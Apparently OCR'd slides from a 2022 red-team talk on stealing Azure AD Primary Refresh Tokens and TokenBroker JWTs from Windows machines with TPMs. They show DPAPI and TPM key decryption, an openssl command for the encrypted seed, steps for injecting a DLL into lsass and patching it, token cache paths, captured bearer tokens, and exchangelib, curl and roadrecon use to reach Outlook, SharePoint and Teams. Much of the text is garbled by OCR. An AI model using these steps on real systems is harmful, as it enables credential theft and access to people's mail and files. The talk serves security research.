gAg5SnllhEocpV0j tZgURe3V+I3xuGVEGLJ /uHyBMRY Aj o AIK8spWlpnENGI QBvHL1 1 dWyY vBx2W] VZx f 4cP15yKKTnACD
EEBhHSRESscvd10yk 2qoVoYUsHDUBVOY dJ XY F89WvUWAAACAE] po6zghYP3nzRP9AW76pSHrH+ MLs9Sal d 1IRLMZY UA=="
"TargetDomain":"kksed44.onmicrosoft.com",
"DeviceType":"Windows",
"OSVersion":"10.0.19043.1200",
"DeviceDisplayName" : "HOME-PC",
"JoinType":4,

OCOVWWOONOOUBAWNH

—

FF
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NO

Response
Pretty Raw Hex Render @ \n

HTTP/2 200 OK

Content-Length: 1654

Content-Type: application/json

Client-Request-Id: e45f5234-763d-4971- 9a6e- 90cOadsfOeb2
Request-Id: ed45f5234-763d- 4971-9a6e- 90c9ad8foeb2
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff

Date: Fri, 19 Aug 2022 17:43:43 GMT

"Certificate":{
"Thumbprint" : " FDB6720C63F293D635DEEEF658489D1673B7181B" ,
"RawBody" :
" MIID8]j CCAtqgAwIBAgIQ3MUEMLpwgpRNFOOULtShrT ANBgkghk 1 GOwOBAQSFADBAMXYWEQYKCZI mi ZPyL GQBGRY DbmV
OMBUGCgmSJomT 81 xk ARkWB3dpbmRvd3MwHQY DVQQDEXxZNUy 1Pcmdhbml6Y XRpb 24t QWNj ZXNzMCsGALUECxMk ODIkY mF
YT QEM2U4MSOONMNALT 1 j NzMtMDk 1MGMx ZWFj Y Tk 3MBAXDT I yMDgx OT E3MTMOMFoXDT MyMDgxOT E3NDMOMFowLzEtMCs
GA1UEAXMkNmVi NDQxNmMEMDM1ZCOON2NhLWI 2Y TY tZmVhNGMzY 21 zMDNj MI I BI j ANBgk ghk 1 GSwOBAQEFAAOCAQSAMI T
BCgKCAQEAGXqVGI JFvLPd1PSNh3BYEsdfD7qr7Zr0SocqbN3Xv51 Al 7POvhz Lk LIPg6tWFsBOBnj8kI1/ullIueljrs
BI xjweSVOh+7+ubGsfvplck LptGdGi Clwax /CmCtsUjKdx /Nf GBWmKSUBI 8xk EPNXaLY OwQONgWY f BrM7wco8h2g5zEm
DY8u+GNtAoS8vmALl1oACV8e2AVHNNNos+mT vdUSEGAOHC4/ vOS4ZY+Pv9chouzQ0Ovadn35SMECrpvRS9x6RT 2vAvdBYx 3
qQfy/08SwvkskQrLoat /mYtOmAkOYTsKCKC]wf vFViolgol AtPXU] ywTvKe092rYY rISebX7] j QI DAQABoAHAMI GOMAW
GA1UdEWEB/wQCMAAWFgYDVROLAQH/BAWWCY I KwYBBQUHAWIWI gYLKoZI hvcUAQWCHAT EEwSBEGxBtGSdASpHtgb+pMP
LMDwwIgYLKoZIhvcUAQWCHAMEEWSBEI LKGa1 VzDtNvBzGvzThIwEwI gYLKoZI hvcUAQWCHAUEEWSBEOCK LELqo41Hrcf
XF61 VLs AwFAY LKoZI hvcUAQWCHAGEBQSBAK SBMBMGCY qGSI b3FAEFghwHBAQEgQEWMAOGCSqGSI b3DQEBCWUAA4T BAQC
CMG20Y 6yzdDezXbFKNMSvZQnBUVd Vv CCPFLL1 QDRASBWx 1Y 244DX GSXTOCXaS1 POmXT vvOT rMQSm161 AY j NJwi Gt3ZN
cHimymA8rNzYkmLmu3EmrHfKj621cUT rldI+Smil64qmeblS/QI 9e9wSzTHEZ3+h /2SN /Xx /D1 fPfOsAtFCaBrm7kIL
gMbZj aBVf OuMc9e+nJxFsQ4lsdg8geEStql tABxgLRp7seT LhXOhWDkul29pVosP6S780XtmLWxFy f 0qQSk 4pXzWpvor
JQEPD3GT G2DcTULUZeCKK1 AT cFnvxk rgzZMA7tmOuvWb tqcpDDaL.GGI OlvsoPQUPW"

Jin

"User":{
"Upn":"atester@kksed44.onmicrosoft.com"

}

’
"MembershipChanges": [
{
"LocalSID":"S-1-5-32-544",
"AddSIDs" : [
"S-1-12-1-1100187900-1141454598- 176731548-517925052" ,
"S-1-12-1-94387623- 1189914507 - 1806026929- 3633089857"
]
¥
]




TPM - PRT with TPM decrypted with system MK

Decrypted masterkeys: 2
Decrypted OK !
Refresh token: 0.AX0ASwqUQuqjiUetx9cXqJUuw]jt2S] i
0b2610WHbQzdDnMkRMo-aBY4He _HQWbI20HKYrYFM4RwalfisevblcJ219f4jkygtvtyXGMpjep_9sq_ qEoMsBKvYRQ119Zc045azZIRgnyk9s7a3IGgaVEAf10YBkPR3deasHPk1yqKSmnRV92ec'
1zJg41a1NIQOk3WshuWyedkzsxQZsT7k6dh3hvIYtvEIqyts7Qnyv8ax-uHklijH-sT29GDo1MIYSISLoH604VuUC6BVFt0GjyA1I jOAWRLAYN11GZI0gPiNLzoR2t87nEmOyY jLSHENFfRSoHOdORF4
jt4pfjDxzd01S-HjH4XBOY jrVOISGEG9ScqQCciKGZ_LJopAYpCw8HBIQVhXLeMmKhK1BNh4rcfgj2ikUayKgHi5QRKhEH7ZCx32H1zZs6W_uK8f6dEZOERRBOEOCk1V2bvfpYPOCOFNFIKNoOf3iBdf#
R02Z8xG3SCSc4TO9_iVahGaoSqPT jp3F2XESG4SPdddluCQlsgPXNF7D5zYyWMAhIh-ZMm-BNCbi_UEpBfc1XqZNOLFIAGLSP3sUz2aZ8SwQXE-r4RfSOeu_3jvK53_nZwF_cR-VhwuAldbeKrTjuby
zbSSLVKDYLIT_94tceW9wo2VMc-quL9TYfcDIz5Zn6jRahQQ_cSj4zSZD0-KcZ1GK2uTZxdSCcGwIkoq4BDxx2b8TfrNtDKHPkWhFYU1kT49n4A5emqcUqY1SnGTIAX430y0WvFSXfbVS5tdCpRQN8AY
tXRQvZKKNGWQAHZ IxwPE8dF3 jwLHZN5YG6Uaqg3 fH6COTHWtMRgb jAaTIJYBoAHzmggcEdh01hsq@2MZKowIIBkrrL7e5Rk6VaQiEUIPX0BIAWGQOMHINdmaw9TVF70YOzyApSwhFt11i_INmWec_jZF
5_DDALl6wjwGvpaO_xVsUOPgjLufaHm6khRBUbs jT8YN4BsUk8XLEQLK4wDmOf fo@yuumKe2fr5DhLS8fMj2qr2NI85XYKXKOHVR4MauRAS1oNBmaDe2reaztRUIV61iZx6

System key Blob Decrypted:
0100000050000000b200000053004b002d00320066006200380030003400620033002d0039006200300065002d0064006600310065002d0035003600350031002d0034003300340039003300 -
65006200350039006600650030000000007e002052644f5769ec4b65dbf2b6a2f2313c0edcf98d2edeac31178d16ff1ad74481280010cdc4772b0e3a30b158352aed053e19ff56ab731540ed
cb24a579701b1784561c572ad24e5a890a9b1d17a9d2792353¢c72120c9ef207ddb4ea27fe3bed9441f190abb8014093dfc4f0890d6213dd3e2647e0bcf046a71bbbobdea800300008000b0004
044000000005000b00205d9565051d772455f98612b1e27e784826515a0d16fc94b0b6f2e6840ac13e8b




PRT — OPAQ blobs and TPM keys

Untitled1* x

Cryptography
Configuration
ECCParameters

Ngc

3. AlKCertEnroll
f.e

o wnNnoe N

ERIEPCNl: = -~  ImageCustomization

UUIAﬂ 0;5 KeyTransportKey
.. IAW+. : 0% i i 1
Vs . @iE$S ¥y N f5ebaeef559%caceb055bc4a60d84360ea7c20a3ead72
: V. W*ONZi.> . . (N 335f83adcbcfc0f173f2be88f14d73677df Theedbl
Komnerotep\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\f5e 735cb7b82933a5fef20c1632dbd23393f41b697
: : : ContentIndex Al Vs Tun : : : :
CrashControl

PerDeviceKeyTransportKey

(o yuonsarno) as d2bf6fca50678fc6a30d979cee7dc5c8a2d251610¢

M Cryptog.raphy‘ | ab| TomKeyTransportKeyName REG_SZ
; Configuration

.- ECCParameters pfegenKE}fS
e ] AK
P AlKCertEnroll KeyD

. ImageCustomization P :

Iv KeyTransportKey | K&yG
v f5ebaee9559caceb055bc4ab0d4360e; KeyS
Pl v 335f83adcbcfcOf173f2be88f14d736 )

| 735cb7b82933a5fef20c1632dbd | - PinG
v PerDeviceKeyTransportKey . SK

PregenKeys

providers .. SK-b5487828-291c-399b-acf7-930fbf0caess |




Ok, but we need a session key — 32 byte. N
How can we get it from this 00 7e 00 20 ... ? v

6:01:02.749 AM

NO

ngcpopkeysrv.dll

ncryptssip.dll

ncryptssip.dll

ncryptssip.dll

ncryptssip.dll BC estro S

PCPKsp.dll : nAlgorit Provider ( , "RNG", "Microsoft Primitive Provider®, 0)
PCPKsp.dll 0

PCPKsp.dll

PCPKsp.dll

PCPKsp.dll

6:01:02.904 AM
6:01:02.905 AM
6:01:02.905 AM
6:01:02.911 AM
6:01:02.911 AM

W W W W w2 2o g

Type Name Pre-Call Value Post-Call Value

0874752

NCRYPT_PROV._... v hProvider 2 74752 2
0 ddf1738¢20 0 ddf

0

)

NCRYPT_KEY_H... ¢ himportKey
LPCWSTR
NCryptBufferD...
NCRYPT_KEY_H... v phKey 0x00000042fbf7e5¢0 = NULL 0 0042fbf7eS5c 0001dd...
PBYTE v pbData 0x000001ddf17d74d0 0x000001ddf17d74d0

BYTE v 0

DWORD ¢ cbData 7 178

DWORD v dwFlags 0

NCryptOpenStorageProvider ( OxXO0000042fbf7e5b0, " . l","O')

NCryptOpenKey ( 2052750874752, 0xO0000042fbf7e5b8, " gt O) ,
CryptUnprotectData ( OxO0000042fbf7dc30, NULL, NULL, NULL, NULL, CRYPTPROTECT;S@»LFORBIDDET@I“%”
0x00000042fbf7dc20) %i B ‘
NCryptimportKey ( 2052750874752, 0x000001ddf1738c20, " "N U Ly, ONSreet , 5
0x000001ddf17d74d0, 172, 0) N .
NCryptKeyDerivation ( , OXO0000042fbf7e840, , 57, Ox00000042fbf7e930, 0 )

*OpaqueTransport - NCRYPT_OPAQUETRANSPORT_BLOB . ] 74

¢ pszBlobType )7ffc017c03b8 "OpaqueTrans... 7ffc017c03b8 "OpaqueTrans...

E B

¢ pParameterlList

W ®

1380 {39



178 byte blob (TPM CC Load) N

SensetiveData[74] — session key is here
hmac_key[32] = CryptKDFa( , "INTEGRITY")

= CryptKDFa( , “'STORAGE", name)
= SHA256(Marshal(NameData[50]))

= GetSeedForKDF(protector) —

sym_key[16]

namel[32]

*protector —is a parent in TPM terminology and

has an “SK-..."

**If we have

, can we get from it?

seed — we can get session key

20NE
Integrity[32] = hmacSHA256(hmac_key, 2022
EncryptedSensetiveData[74]+name)
w[16] —random iv for AES128_CFB
EncryptedSensetiveData[74] =
AES128_CFB(sym_key, iv, SertsetiveéData)
NameData[50] — data to compute name | / I

// Get seed for KDF
if(seed == NULL)
seed = GetSeedForKDF(protector);
// Determine the HMAC key bits
hmacKey.t.size = CryptHashGetDigestSize(hashAlg);

// KDFa to generate HMAC key
CryptKDFa(hashAlg, seed, INTEGRITY_KEY, NULL, NULL,
hmacKey.t.size * 8, hmacKey.t.buffer, NULL, FALSE);

___ 00 | N 1
// Get seed for KDF

if(seed == NULL)
seed = GetSeedForKDF(protector);
// KDFa to generate symmetric key and IV value
CryptKDFa(hashAlg, seed, STORAGE_KEY, name, NULL,
symKey->t.size * 8, symKey->t. buffer NULL FALSE);

VB - = 457
‘ =

. o

i



772 byte blob (TPM_CC_Load)

~CryptUnprotectData ( 0x00000042fbcfd720, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, 0x00000042fbcfd710 )
43 4D 00 00 00 00 00 00
01 00 D0 D0 00 00 00 00
00 00

00

(an]

0 W O

00 00

2] [11]2 % 5 ['e]%
50 43 50 4d 38 00 00 00 02 00 00 00 02 00 00 00 3c 01 00 00 e0
Q0 00 00 00 00 00 00 00 00 00 00 bO 00O 00O 00 00 00 00 00 00 00
00 01 00 0Ob 00
€8 dc € S

b 89

0 mt.:

79

°r
S
BS
o3
HiE
=
35
63
95 117a : | -
6A 10

e . 24 Integrity[32] = hmacSHA256(hmac:key*
06 86 19|00 D 0 F9 C 22 TZ EE E¢ 23 EncryptedSensetiveData[170]+nanie*)

1D ) / X 8D SiS 70

— o _random iv for AES256.CFB —
97 68 0171071779900

28 c7 EncryptedSensetiveData[170] = ABS256 CFB syrﬁ%

FB

12

N ;O
o o

w o

W«
W

00 00 00 00 00 00 00 00 00 00 00 00 00 00 01

03 04 72 00

c4

o
o

F6
S3
1B
69
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23

o
o
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16
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W

o

o %
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= =

328 8
38 8
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o
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=
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w0
~J

o oW oW My

Q. m n
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DE BD

53 69 SensetivebData[170])

87 59

= o SensetiveData[170] — hereds
AC DD
77 BS
38 BD
1B 00 06 20 CD 69




TPM key hierarchy -

—» Parent object

- -» Key attestation

Endorsement
Seed Storage Seed

Endorsement
Key (EK)

Storage Root
Key (SRK)

Attestation
Identity Key
(AIK)

Application
key(s)

Application
key(s)

FF
ONE

2022

NGO

14 Primary Seeds

14.1 Introduction
14.2 Rationale
14.3 Primary Seed Properties

14.3.1
14.3.2
1433
14.3.4
14.3.5

Introduction

Endorsement Primary Seed (EPS)
Platform Primary Seed (PPS)
Storage Primary Seed (SPS)

The Null Seed

14.4 Hierarchy Proofs



https://ericchiang.github.io/post/tpm-keys

OFF
: : X
. But what about the registration stage? s

You said “ .. session key was encrypted via Transport public key”.

NCryptOpenStorageProvider ( OxO0000042fbcfe0aOn, " . "9 )
NCryptOpenKey ( 2052750876512, 0OxO0000042fbcfe0a8, " aC-{ '
||’ O, O ) Q C. ‘: (_

NCryptimportKey ( 2052750876512, 0OxO00001ddf1738670, " "', NULL,
Ox00000042fbcfeOb0, OXxO00001ddfla054f8, ,0)

NCryptExportKey ( OxO00001ddf17d9200, NULL, " 4 :NU LL,
Ox000001ddf17d7110, , OXO0000042fbcfe2cO, ) i “““ﬁ%
CryptProtectData | OxOOOOOO42befe3cO NULL, NULL, NU LL NU LL%,t OxOOOOOOlﬁfbcfeB b@ )

- o SR Loy
o =



TPM _CC_Import) T

J k(]

2 U

RS T =
Hel

0C 1E 3A R

25 F6 BA AE . . .
c 77 AD FE iINSymSeed[256] - encrypted via transport public
8 SF 41 FB ke

D AD 4 Y.

%

S

¥ To decrypt it : openssl.exe pkeyutl -decrypt -in

@i enc256byte.bin -out dec32byte.bin -inkey privkey.pem

% -Pkeyopt rsa_padding_mode:.oaep -pkeyopt |

& rsa_oaep_label:4455504C494341544500 -pkeyop
rsa_oaep_md:sha256 [ ;'g ¢

Integrity[32] = hmacSHA256(hmac key™*,
EncryptedSensetiveData[74]+name) «

EncryptedSensetlveData[74] AES256 CFB(.
d SensetiveData[74]) :
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TPM sniffer

1). Inject pcptpml2.dll to Isass.exe/target
process which calls pcpksp directly:

2). Change context in windbg to Isass/target process:

3). Patch one check in pcptpm12!PCPFlushTrace:
Or even better - set it directly:

4). Set the path and patch the variable:

--TPM2_Load:

RQU.inPublic.
RQU.inPublic.
RQU.inPublic.
RQU.inPublic.
RQU.inPublic.
RQU.inPublic.
RQU.inPublic.
RQU.inPublic.
RQU.inPublic.
RQU.inPublic.
RQU.inPublic.
.unique. (TPM2B_BUFFER)
RQU.inPublic.
RQU.inPublic.

RQU.inPublic

Parametens o= s e e o e e e e e e S e S S E S S C e e e
RQU.inPrivate.(TPM2B_BUFFER)
RQU.inPrivate.size = 126
RQU.inPrivate.buffer =

Ox00 0x20 Ox73 Oxc9 Oxba Oxc6 Oxac Ox49
Ox48 Ox5c Ox32 Ox70 Ox97 ©x74 ©0x41 Oxb7
Oxad Ox40 Ox00 Ox10 Oxe® Oxbd Oxc5 Oxle
Oxcc Oxf6 Oxd8 Ox9%e Oxb3 Oxlc ©x69 Ox84
Ox46 0x47 Ox9f Oxed Oxbb 0x10 ©x21 Oxd8
Ox42 Ox16 0x04 Oxfa Ox83 ©xbd ©xd4 ©x87
Ox54 0x84 Ox54 Oxf9 Ox3a Oxal Oxf7 Ox75
Ox2b Ox79 Ox06 Ox6e Ox29 ©x47 Oxlb Oxfc

(TPM2B_PUBLIC)
size = 48
(TPMT_PUBLIC)

0x50
Oxe8
Oxfa
Ox4e
Ox9c
0x87
0x09
Ox7c

0x70
Oxe7
Oxe2
Oxed
0x19
Oxe3
Oxec
Ox4c

type = TPM_ALG_KEYEDHASH (©x0008)
nameAlg = TPM_ALG_SHA256 (©x000b)
objectAttributes = userWithAuth, noDA, sign (©x00040440)

authPolicy. (TPM2B_BUFFER)
authPolicy.size = ©

0x53 0xb9
©x7a Oxeb
0x25 0x42
0x94 0x21
Ox80 0Ox45
0x9f Oxd9
Oxc5 Oxa3
Ox6d Ox8f

parameters.scheme. (TPMT_KEYEDHASH_SCHEME)
TPM_ALG_HMAC (@x0005)
parameters.scheme.hashAlg = TPM_ALG_SHA256 (©x@00b)

parameters.scheme.scheme =

unique.size = 32
unique.buffer =

Ox0b Ox4f Ox89 Ox6b Oxdb ©x2e Oxfc Ox80 Ox75 Ox68
0x05 Ox5e Oxff Oxb9 Oxc8 ©x65 Oxb3 Ox58 Ox9c 0x33

AUTH[1].Provider.hash = TPM_ALG_SHA256 (©x000b)
AUTH[1].Provider.authValue = nullBuffer
AUTH[1].paramBuffer =

Ox00 Ox00 Ox01 Ox57 Ox00 ©x0b Ox0f Oxa3
Ox7d ©x34 0x10 Oxec Oxa8 ©x5d ©x08 Ox58
0x4d @xa® Ox6b Ox51 Ox61 Ox43
Ox50 Ox70 0x53 Oxb9 Ox0d ©x66 ©x97 Oxal
Oxe8 Oxe7 Ox7a Oxeb Ox24 Oxff Ox28 Ox71
Oxfa Oxe2 Ox25 Ox42 OxOc ©x72 ©x08 Oxed
Ox4e Oxed Ox94 Ox21 Ox5e Oxfc Oxd5 Ox9f
Ox9c Ox19 Ox80 Ox45 Ox85 ©x24 ©x67 Oxdd
Ox87 Oxe3 Ox9f Oxd9 Oxcb ©xla Oxde Oxf9
Px09 Oxec Oxc5 Oxa3 Oxfd Ox3e Oxa@ Ox3d
Ox7c Ox4c Ox6d Ox8f Ox74 Ox4a ©x00 0x30
Ox00 Ox00 Ox00 OxO5 Ox00 Ox0b Ox00 0x20
Ox75 Ox68 Ox62 Ox3a Oxb6 Oxaf Ox63 Ox1ld
Ox9c 0x33 Ox8d Ox4e Oxd3 Oxdb Ox65 Ox21

. |

e

ox76
Oxd2
0x00
0x48
Oxad
Oxcc
0x46
ox42
ox54
ox2b
0x00
0x0b
0x05

Ox9%e
0x75
0x20
Ox5c¢
0x40
oxf6
ox47
ox16
0x84
0x79
0x08
oxAaf
Ox5e

Ox62 Ox3a
Ox8d Ox4e

Oxa 0x29
Oxe5 Ox5b
Ox73 Oxc9
0x32 0x70
0x00 0x10
Oxd8 Ox9%e
0x9f Oxed
0x04 Oxfa
0x54 0xf9
Ox06 Ox6e
0x00 0x0b
0x89 0x6b
oxff exb9

oxod
ox24
Ox0c
Ox5e
0x85
Oxcb
oxfd
ox74

oxb6
Oxd3

0x96
0x36
Oxba
ox97
Oxed
Oxb3
Oxbb
0x83
Ox3a
0x29
0x00
oxdb
Oxc8

Ox66
oxff
Ox72
oxfc
0x24
Oxla
Ox3e
Ox4a

Oxaf
Oxdb

0x39
0x70
Oxc6
ox74
Oxbd
Oxl1c
0x10
Oxbd
Oxal
ox47
ox04
Ox2e
0x65

ox97
0x28
0x08
0xd5
ox67
Oxde
Oxad

0x63
0x65

ox47
Oxac
Oxac
ox41
Oxc5
0x69
ox21
Oxd4
oxf7
ox1b
ox04
oxfc
oxb3

Oxal
ox71
Oxed
ox9f
Oxdd
oxf9
0x3d

ox1d
0x21

oxbf
0xb8
0x49
oxb7
Oxle
0x84
Oxd8
ox87
0x75
Oxfc.
0x40
0x80 ° /
0x58 ‘



PRT + TPM +KDF +JWT +Burp = Love ! {ERE

Cool ? -

Red Teaming...
Red Teaming...
Red Teaming...

B p
(3} :
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Red Teaming — TokenBroker JWTs

Files:
~MAppData\Local\Microsoft\TokenBroker\Cache\*

~MAppData\Roaming\Microsoft\Protect\*

SID

Password / Domain BKP RSA key

DPAPICK3
Access
Token

GCet files Decrypt it

VFF
¢ ONE

2022



Red Teaming — TokenBroker — Outlook EWS

FF
ONE

2022

NO

i# v ‘ Host ‘ Method ‘

2

c

Request 4
Pretty = Raw  Hex  JSON Web Tokens 2
1 POST /ENS/Exchange.asmx HTTP/1.1 7
2 Host: outlook.office365.com 8
3 Cookie: OutlookSession="{375B911A-9CSD-408A-BF 9
3cd3a0eee3964502b724320f 75823552 16
4 |Cache-Control: no-cache i;
S Pragma: no-cache 13
6 Content-Tyvne: text /xml 14
7 Authorization: Bearer 15

eyJOeXA101JKV1QiLCIub25] ZSI6I mxWVOhrTHgtLVNUSE 16
bGc101JSUzI 1IN1IsIngldCI6I j JaUXBKMLVwYmpBWVhzZR2 17
R2FYRI InsNG¥WMFRPSS 19 py]deQiﬂiJndHRwr7nul701d|ig
vL3NOcyS3awSkb3dzLmS1dC80M] kOMGFLNy 1hM2VhLT Q30
xNDO3LCJIuYmY101E2N1A3N1EONDcsImV4cCI 6MTY 2MDa2M

LIRI ’Params Edited Status Ler

from exchangelib import Credentials, Accounq

#credentials = Credentials(username='MYWINDOMAIN\\myuser', password='topsecret')
jwt = "eyJhbGci0iJSUGEtTOFFUCISIMVuYyI6IKEXMjhDQkMtSFMyNTYiLCJ4NXQi0iI0dV85Q...."

credentials = OAuth2AuthorizationCodeCredentials(client id='', client secret=""
, access token={"access token": token})

my account = Account(
primary smtp address='myusername@example.com’', credentials=credentials,
autodiscover=True, access type=DELEGATE [

)

my account.root.refresh()

my account.public folders root.refresh()
my account.archive root.refresh()

AllItems = my account.root / 'AllItems’



Red Teaming — TokenBroker — OneDrive/Sharepointi&k,

curl
python
Burp Intruder

2022
#v I Host ‘ Method l URL I Param
10507 https://kkse44-my.sharepoint.com PUT Ipersonal/atester_kkse44_onmicrosoft_com/_api/spfilesync/sync/657e4c382c2747c7b85d... v
10496 https://kkse44-my.sharepoint.com GET Ipersonal/atester_kkse44_onmicrosoft_com/_api/SPFileSync/sync/657e4c382c2747c7b85... v
10493 https://kkse44-my.sharepoint.com POST /personal/atester_kkse44_onmicrosoft_com/_api/SPFileSync/sync/657e4c382c2747c7b85... v
10492 https://kkse44-my.sharepoint.com GET Ipersonal/atester_kkse44_onmicrosoft_com/_api/SPFileSync/sync/657e4c382c2747c7b85... v
10490 https://kkse44-my.sharepoint.com GET Ipersonal/atester_kkse44_onmicrosoft_com/_api/SPFileSync/sync/657e4c382c2747c7b85... v
10488 https://kkse44-my.sharepoint.com GET Ipersonal/atester_kkse44_onmicrosoft_com/_api/SPFileSync/sync/657e4c382c2747c7b85...

10487

https:/ikkse44-mv.sharepoint.com

10484  https://kkse44-my.sharepoint.com

\: ([kk y i m
10472 nttps://kkse44-my.sharepoint.com

Ipersonal/atester_kkse44_onmicrosoft_com/_api/SPFileSync/sync/657e4c382c2747c7b85...

/personal/atester_kkse44_onmicrosoft_com/_api/SPFileSync/sync/657e4c382c2747c7b85...

Request
Pretty  Raw  Hex  JSON Web Tokens & n =
1 GET /_api/v2.0/sites/kksed4-my.sharepoint.com:/personal/atester_kkse44 onmicrosoft_com

NN U WN

HTTRP/2

Host: kksed44-my.sharepoint.com

Connection: Keep-Alive

Content-Type: application/json

Accept: application/json

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU

Authorization: Bearer
eyJ0eXA101JKV1Q1LCIhbGe101JSUzI 1IN1IsIngldCI6I j JaUXBKMLVwY mpBWVhZR2FYRUpsOGXWMFRPSSISImtpZCI6
1 7 JaUXBKM1VwY mpBWVhZR2FYRUpsOGXWMFRPS!5]9. ey JhdwQi 01 JodHRwezovL 2t rc 2UONC1 teS5zaGFy ZXBv aWSoLmN
vbS81LCIpc3M101JodHRwczovL 3NOcyS3awskh3dzLmS1dC80M] kOMGFLNy 1hM2VhLTQ30Dk tYWR] Ny 1kNzE3YTgSNT J
\LYzAv11w1aWFOLJoxNJYwNzUzMzchCJquYlojE2NjA3NTMzNzAsImV4c§{§MTY2@Pg0NzE3MxyiryNyIjoiMSIsImF

/
' 4

- S “:v\.&

Response i

Pretty

1

2
3
4

ul

S~

Raw Hex 11
HTTP/2 200 OK
Cache-Control: no-
Pragma: no-cache =
Content-Type: |
application/json;d .
=utf-8 »
Expires: -1 '
Vary: Accept-Encoc |
P3p: CP="ALL IND E_. > :
NAV ONL PHY PRE PL
X-Sharepointhealtt
X-Sp-Serverstate:
Odata-Version: 4.C

—
: l
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Official TeamsAPP — Browser inside a window

No API documentation
MS tells: use GRAPH api - no such JWT in PC
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Request
Request Raw Hex JSON Web Tokens
Request Response
Request Response
1|ceT - _
2! Hos1 Raw Hex > \n = Pretty Raw Hex
3 Cunt 1 GET /vl/users/ME/conversations/19:a0f2b7f8553b4af138af31f1e48610f3c@thread.tacv2 HTTP/2 1 HTTP/2 200 OK
4/Clie 2 Host: uk.ng.msg.teams.microsott.com 2 Content-Type: application/json; charset=utf-8
clie = Authentication: 3 Date: Tue, 16 Aug 2022 15:38:25 GMT
S|Beh: | skypetoken=eyJhbGci0iJSUzI1Ni1IsImtpZCI6I jEwNLIsIngldCI6ImeQMWFxQnlfR3hZU3pSaxhuQ25zdESPU2p2cyIsI 4 Server: Kestrel
6 Autl  nRScCIBIkpXVCJI9.eyJpYXQ10jE2N]A2N] MwMzQsImV4cCI6MTY 2MDcz0DQ4M1wl c2t5cGVpZCIBImIyZ21k OmEAMTKOYTgS 5 Cache-Control: no-cache, no-store, must-revalidate
SKYE | LWNjOTUtNGQzY111YzFjLWM2YmYzNGUxM]jcwMSIsInN]cCIBNzgwl.Cljc2k101IxN]YwN]YyMzI 2T iwidGLkI joiNDISNDBh 6 Pragma: no-cache
NRS¢  ZTctYTNLYSOONzgSLWFkY zctZDexN2E4OT Uy ZwWMwIiwicmdul jo1YW1lle1J9.1QSFKPShaS]) cMLOeKELaNRAESadzoKztaxXJd 7 Vary: Accept-Encoding
LWN] TekgxqClrwUsY_vu7_CbJilLjuN4pAOqTs88DPQCaPM1 JHBFF1oNGRge0t0JP1zFRPTUT vQIIHHtWTP1gkaC8z2MwSNy - 5058 8 |Ms-Cv: GSkuRvbM+UmSUa2s/QK7XA.0
ZTct | 1zEXc3LGs871XsLTOYT3cWegGZG- -wIULPY6JwaYBwlcyd4HNmT 6x4n1 xsaY Yk Xqgf 8DXZIMzMngK - 17U_OLR- CyzmVRRMw7 9 Contextid: tcid=0,server=msgapi-production-wus-azscl-4-132,cv=GSkuRvbM+UmSUa2s /QK7XA
Tekc kw3BM1 kDOPQYE6eTEpw3LzNQv - RQ346U6S56vZeNWOAS] 8ebQExHgb 1qeVZxnYBSLF261BqPxHLLYzgEEhXE6965R1L 4wWSogBp 10
1zB) ABIMAU SO ADKT 2ZriOWSTA 11 {
kw3E 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewWebKit/537.36 (KHTML, like Gecko) "1d":"19:a0f2b7f8553b4f 138af31f 1e48610f 3c@thread. tacv2",
ABm» Teams/1.5.00.21463 Chrome/85.0.4183.121 Electron/10.4.7 Safari/537.36 "type":"Conversation",
7 User 5 Content-Type: application/json "version": 1660662638918,
Tean 6 Accept: */* "properties" :{
8 Coni 7 Accept-Encoding: gzip, deflate "addedBy" :"8:0rgid:563bdchl-6725- 46d0- Sead- 8a49c4694978" ,
9 Acce 8 Accept-lLanguage: ru "addedByTenantId" :"42940ae7-a3ea-4789- adc7-d717a8952ec0" ,
10 |0Ori¢ 9 "lastimreceivedtime" :"2022-08- 16T15:10:07.417Z",
11 Sec-10 "favorite":"true",
12 |Sec- ! consumptionho rizon":"1660662607417; 1660662795300; 7083146857684771000" ,
13/Sec- "1semptyconversation":"False"

i

’
"threadProperties":{

- s g
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https://github.com/fossteams

Unofficial TeamsClient Golang+3JS
Works with JWT !
fossteams-frontend — Web Client

fossteams-cli — Console Client !l —

s Vitall 4
Channed 3 (Not autamatically... 6 B
2 5 1
!

Channed 4

fossteams-api — Go unofficial APl .

or
curl / python

.

© 9999



https://github.com/fossteams
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« AppData\Local\Packages\Microsoft. AAD.BrokerPlugin_cw5nlh2txyewy\LocalState\*
« User masterkeys

« System masterkeys + Registry ’
User Password / Domain BKP privatekey

User SID @ .

No PRT - e

Separated RefreshTokens -> Get AccessTokens -> Auth MS resources (Outllok, onedrive, teans, tc)
( ) =

PRT+sessionkey/derivedkey e " Sl

x-ms-RefreshTokenCredential -> transparent auth to MS resources via BU%%CI’ID'ES ( k€;

Direct auth to MS resources (api) via Burp, ROADTools, curl, python, ete



Red Teaming — AAD.Brokerplugin i

NO PRT Separated RefreshTokens -> Get AccessTokens -> Auth MS resources(Outllok, onedrive, teams, 282%

l'L$ REQUESTS CA BUNDLE-~/Dounloads/burp pem HTTPS PROXY=http://127.0.0.1:808¢ python3  /home/user/.local/bin/roadrecon auth | -refresh-token 0.AX0A5wqUQuqjiUetx9cXqlUl
wNYOWdOZUgJBrv q0ikqsBycAOc.AgABAAEAAAD--DLA3VO7Qrddglg7WevrAgDs_wQA9P91WLfuQOSIKFEIfUUEOXYjJORUNSD18qnyEOQY_Vv-rC2selTi-qjMzxt AZhbINcVIDrWTz3bTRARM. PEINDYLSoMm Nb7y

. kialv5Hy6CwP2s6A_hAIniJlJQrj60gLagn3iGU1bXUqyGEUVCcErd3ft6Hu60PyStt1qbfKojGbbFo8a9MhgxxfUEiKauhevhtLbnOWShUSiNORKc8krXDo81COTjY_ RnGteGQZ66xZHNsM3QméGmpBgKHL21YVQMWLchma
ft6DiYqDBOR4I073GWTkdKva3F3xfuZojoMhBZKz55310g8mp1xpiYs4VHzmbRtOAydbekE9g1guBNUZCNU@I70iFT79qZWBhE9fZTfiC2yDa6tb84PobHcDfXUD-cPia5SEqADAD_XZE91G_08j1Qr20Rrm-y6dXzrQWuDM
